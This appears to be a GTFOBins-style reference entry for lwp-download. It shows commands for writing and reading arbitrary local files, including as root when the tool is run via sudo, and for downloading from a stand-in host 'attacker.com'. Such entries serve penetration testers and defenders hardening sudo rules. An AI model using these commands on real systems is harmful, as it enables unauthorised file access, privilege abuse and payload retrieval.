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• File write
• File read
• Download

File write

This executable can write data to local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  echo DATA >/path/to/temp-file
  lwp-download file:///path/to/temp-file /path/to/output-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo DATA >/path/to/temp-file
  lwp-download file:///path/to/temp-file /path/to/output-file

• Comment

  This actually copies a file to a destination.

  Unprivileged

  This function can be performed by any unprivileged user.

  lwp-download file:///path/to/input-file /path/to/output-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  lwp-download file:///path/to/input-file /path/to/output-file

File read

This executable can read data from local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  lwp-download file:///path/to/input-file /dev/stdout

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  lwp-download file:///path/to/input-file /dev/stdout

Download

This executable can download remote data.

• Comment

  The destination file /path/to/output-file can be omitted, in that case the file is saved to input-file in the current working directory.

  Unprivileged

  This function can be performed by any unprivileged user.

  lwp-download http://attacker.com/path/to/input-file /path/to/output-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  lwp-download http://attacker.com/path/to/input-file /path/to/output-file

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